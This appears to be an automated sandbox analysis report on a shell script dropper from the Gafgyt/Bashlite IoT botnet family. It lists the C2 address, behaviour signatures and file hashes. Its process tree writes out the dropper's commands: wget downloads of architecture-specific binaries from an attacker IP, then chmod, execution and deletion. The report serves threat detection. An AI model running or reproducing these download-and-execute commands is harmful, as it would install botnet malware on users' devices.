Analysis

  • max time kernel
    146s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20250619-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20250619-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    04/12/2025, 06:51

General

  • Target
    Sakura.sh
  • Size 2KB
  • Sample251204-hml4ls1ldy
  • SHA256 13ccc7aef514e8fc26eb656e3ff5cffaddb1e544f048af99ddef613c97ddbf18
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • gafgyt

C2
  • 151.244.72.224:606

Signatures

  • Detected Gafgyt variant 11 IoCs
  • Gafgyt family
  • Gafgyt/Bashlite

    IoT botnet with numerous variants first seen in 2014.

  • File and Directory Permissions Modification 1 TTPs 13 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 13 IoCs
  • Reads system routing table 1 TTPs 2 IoCs

    Gets active network interfaces from /proc virtual filesystem.

  • Reads system network configuration 1 TTPs 2 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Writes file to tmp directory 13 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/Sakura.sh
    /tmp/Sakura.sh
    1⤵
    • Executes dropped EXE
    PID:1498
    • /usr/bin/wget
      wget http://151.244.72.224/m-i.p-s.Sakura
      2⤵
      • Writes file to tmp directory
      PID:1499
    • /bin/chmod
      chmod +x m-i.p-s.Sakura
      2⤵
      • File and Directory Permissions Modification
      PID:1500
    • /tmp/m-i.p-s.Sakura
      ./m-i.p-s.Sakura
      2⤵
        PID:1501
      • /bin/rm
        rm -rf m-i.p-s.Sakura
        2⤵
          PID:1503
        • /usr/bin/wget
          wget http://151.244.72.224/m-p.s-l.Sakura
          2⤵
          • Writes file to tmp directory
          PID:1504
        • /bin/chmod
          chmod +x m-p.s-l.Sakura
          2⤵
          • File and Directory Permissions Modification
          PID:1509
        • /tmp/m-p.s-l.Sakura
          ./m-p.s-l.Sakura
          2⤵
            PID:1510
          • /bin/rm
            rm -rf m-p.s-l.Sakura
            2⤵
              PID:1512
            • /usr/bin/wget
              wget http://151.244.72.224/s-h.4-.Sakura
              2⤵
              • Writes file to tmp directory
              PID:1513
            • /bin/chmod
              chmod +x s-h.4-.Sakura
              2⤵
              • File and Directory Permissions Modification
              PID:1514
            • /tmp/s-h.4-.Sakura
              ./s-h.4-.Sakura
              2⤵
                PID:1515
              • /bin/rm
                rm -rf s-h.4-.Sakura
                2⤵
                  PID:1517
                • /usr/bin/wget
                  wget http://151.244.72.224/x-8.6-.Sakura
                  2⤵
                  • Writes file to tmp directory
                  PID:1518
                • /bin/chmod
                  chmod +x x-8.6-.Sakura
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1519
                • /tmp/x-8.6-.Sakura
                  ./x-8.6-.Sakura
                  2⤵
                  • Reads system routing table
                  • Reads system network configuration
                  PID:1520
                • /bin/rm
                  rm -rf x-8.6-.Sakura
                  2⤵
                    PID:1523
                  • /usr/bin/wget
                    wget http://151.244.72.224/a-r.m-6.Sakura
                    2⤵
                    • Writes file to tmp directory
                    PID:1524
                  • /bin/chmod
                    chmod +x a-r.m-6.Sakura
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1526
                  • /tmp/a-r.m-6.Sakura
                    ./a-r.m-6.Sakura
                    2⤵
                      PID:1527
                    • /bin/rm
                      rm -rf a-r.m-6.Sakura
                      2⤵
                        PID:1529
                      • /usr/bin/wget
                        wget http://151.244.72.224/x-3.2-.Sakura
                        2⤵
                        • Writes file to tmp directory
                        PID:1530
                      • /bin/chmod
                        chmod +x x-3.2-.Sakura
                        2⤵
                        • File and Directory Permissions Modification
                        PID:1531
                      • /tmp/x-3.2-.Sakura
                        ./x-3.2-.Sakura
                        2⤵
                        • Reads system routing table
                        • Reads system network configuration
                        PID:1532
                      • /bin/rm
                        rm -rf x-3.2-.Sakura
                        2⤵
                          PID:1535
                        • /usr/bin/wget
                          wget http://151.244.72.224/a-r.m-7.Sakura
                          2⤵
                          • Writes file to tmp directory
                          PID:1536
                        • /bin/chmod
                          chmod +x a-r.m-7.Sakura
                          2⤵
                          • File and Directory Permissions Modification
                          PID:1537
                        • /tmp/a-r.m-7.Sakura
                          ./a-r.m-7.Sakura
                          2⤵
                            PID:1538
                          • /bin/rm
                            rm -rf a-r.m-7.Sakura
                            2⤵
                              PID:1540
                            • /usr/bin/wget
                              wget http://151.244.72.224/p-p.c-.Sakura
                              2⤵
                              • Writes file to tmp directory
                              PID:1541
                            • /bin/chmod
                              chmod +x p-p.c-.Sakura
                              2⤵
                              • File and Directory Permissions Modification
                              PID:1542
                            • /tmp/p-p.c-.Sakura
                              ./p-p.c-.Sakura
                              2⤵
                                PID:1543
                              • /bin/rm
                                rm -rf p-p.c-.Sakura
                                2⤵
                                  PID:1545
                                • /usr/bin/wget
                                  wget http://151.244.72.224/i-5.8-6.Sakura
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:1546
                                • /bin/chmod
                                  chmod +x i-5.8-6.Sakura
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:1547
                                • /tmp/i-5.8-6.Sakura
                                  ./i-5.8-6.Sakura
                                  2⤵
                                    PID:1548
                                  • /bin/rm
                                    rm -rf i-5.8-6.Sakura
                                    2⤵
                                      PID:1550
                                    • /usr/bin/wget
                                      wget http://151.244.72.224/m-6.8-k.Sakura
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:1551
                                    • /bin/chmod
                                      chmod +x m-6.8-k.Sakura
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:1552
                                    • /tmp/m-6.8-k.Sakura
                                      ./m-6.8-k.Sakura
                                      2⤵
                                        PID:1553
                                      • /bin/rm
                                        rm -rf m-6.8-k.Sakura
                                        2⤵
                                          PID:1555
                                        • /usr/bin/wget
                                          wget http://151.244.72.224/p-p.c-.Sakura
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:1556
                                        • /bin/chmod
                                          chmod +x p-p.c-.Sakura
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:1557
                                        • /tmp/p-p.c-.Sakura
                                          ./p-p.c-.Sakura
                                          2⤵
                                            PID:1558
                                          • /bin/rm
                                            rm -rf p-p.c-.Sakura
                                            2⤵
                                              PID:1560
                                            • /usr/bin/wget
                                              wget http://151.244.72.224/a-r.m-4.Sakura
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:1561
                                            • /bin/chmod
                                              chmod +x a-r.m-4.Sakura
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:1562
                                            • /tmp/a-r.m-4.Sakura
                                              ./a-r.m-4.Sakura
                                              2⤵
                                                PID:1563
                                              • /bin/rm
                                                rm -rf a-r.m-4.Sakura
                                                2⤵
                                                  PID:1565
                                                • /usr/bin/wget
                                                  wget http://151.244.72.224/a-r.m-5.Sakura
                                                  2⤵
                                                  • Writes file to tmp directory
                                                  PID:1566
                                                • /bin/chmod
                                                  chmod +x a-r.m-5.Sakura
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:1567
                                                • /tmp/a-r.m-5.Sakura
                                                  ./a-r.m-5.Sakura
                                                  2⤵
                                                    PID:1568
                                                  • /bin/rm
                                                    rm -rf a-r.m-5.Sakura
                                                    2⤵
                                                      PID:1570

                                                  Network

                                                        MITRE ATT&CK Enterprise v16

                                                        Replay Monitor

                                                        Loading Replay Monitor...

                                                        Downloads

                                                        a-r.m-5.Sakura

                                                        • Path /tmp/a-r.m-5.Sakura
                                                        • Size 98KB
                                                        • SHA256 a00db9f639ca5beb42be7f2e4b8ba48996d823c187492b8661408c0796c798cf
                                                        • MD5 SHA1 SHA512 SSDEEP

                                                        a-r.m-6.Sakura

                                                        • Path /tmp/a-r.m-6.Sakura
                                                        • Size 118KB
                                                        • SHA256 2a32bd0d89f79561c3dfbc4d42cbb8e00a6aa5691b9edb604dd607a7389510fa
                                                        • MD5 SHA1 SHA512 SSDEEP

                                                        a-r.m-7.Sakura

                                                        • Path /tmp/a-r.m-7.Sakura
                                                        • Size 91KB
                                                        • SHA256 4b192e426d8db3a1202638e0dc9055be97dab7a2d02fa2895b44e69fdc1d388d
                                                        • MD5 SHA1 SHA512 SSDEEP

                                                        i-5.8-6.Sakura

                                                        • Path /tmp/i-5.8-6.Sakura
                                                        • Size 96KB
                                                        • SHA256 e39ae8606f7fde8f7c4f6d05820c01c0d88761828c94de707c5fd8dac60f5434
                                                        • MD5 SHA1 SHA512 SSDEEP

                                                        m-6.8-k.Sakura

                                                        • Path /tmp/m-6.8-k.Sakura
                                                        • Size 156KB
                                                        • SHA256 367c3e32682736981ce62433391c3c526b9ba174bf26cc3958d981f97dcc50ba
                                                        • MD5 SHA1 SHA512 SSDEEP

                                                        m-i.p-s.Sakura

                                                        • Path /tmp/m-i.p-s.Sakura
                                                        • Size 123KB
                                                        • SHA256 485600a97866207f946d6552fc71bdd876d7466ebe3f7c832c52399f538bcd2a
                                                        • MD5 SHA1 SHA512 SSDEEP

                                                        m-p.s-l.Sakura

                                                        • Path /tmp/m-p.s-l.Sakura
                                                        • Size 123KB
                                                        • SHA256 d45961a0b0e771b04c578cd9068f56e694ec41062d85c88651e80b5823572ca7
                                                        • MD5 SHA1 SHA512 SSDEEP

                                                        p-p.c-.Sakura

                                                        • Path /tmp/p-p.c-.Sakura
                                                        • Size 105KB
                                                        • SHA256 0658c9f92e23f5b8914d511b3a29ce28b170d194343b8c3d6e22baf21aac6c90
                                                        • MD5 SHA1 SHA512 SSDEEP

                                                        s-h.4-.Sakura

                                                        • Path /tmp/s-h.4-.Sakura
                                                        • Size 86KB
                                                        • SHA256 a74908ea9a46e8676d4763c1c24d514fe75a24b8b815a78af2fb0766e279821a
                                                        • MD5 SHA1 SHA512 SSDEEP

                                                        x-3.2-.Sakura

                                                        • Path /tmp/x-3.2-.Sakura
                                                        • Size 83KB
                                                        • SHA256 a9b9301e75806ebf5e2e007b1ac6196d993a3cf0630394597f02f9e2be2eb461
                                                        • MD5 SHA1 SHA512 SSDEEP

                                                        x-8.6-.Sakura

                                                        • Path /tmp/x-8.6-.Sakura
                                                        • Size 92KB
                                                        • SHA256 4543f33125d0623caf587df3b1d70eeea9ba8b14fcc81cd75ebf3d803c560d86
                                                        • MD5 SHA1 SHA512 SSDEEP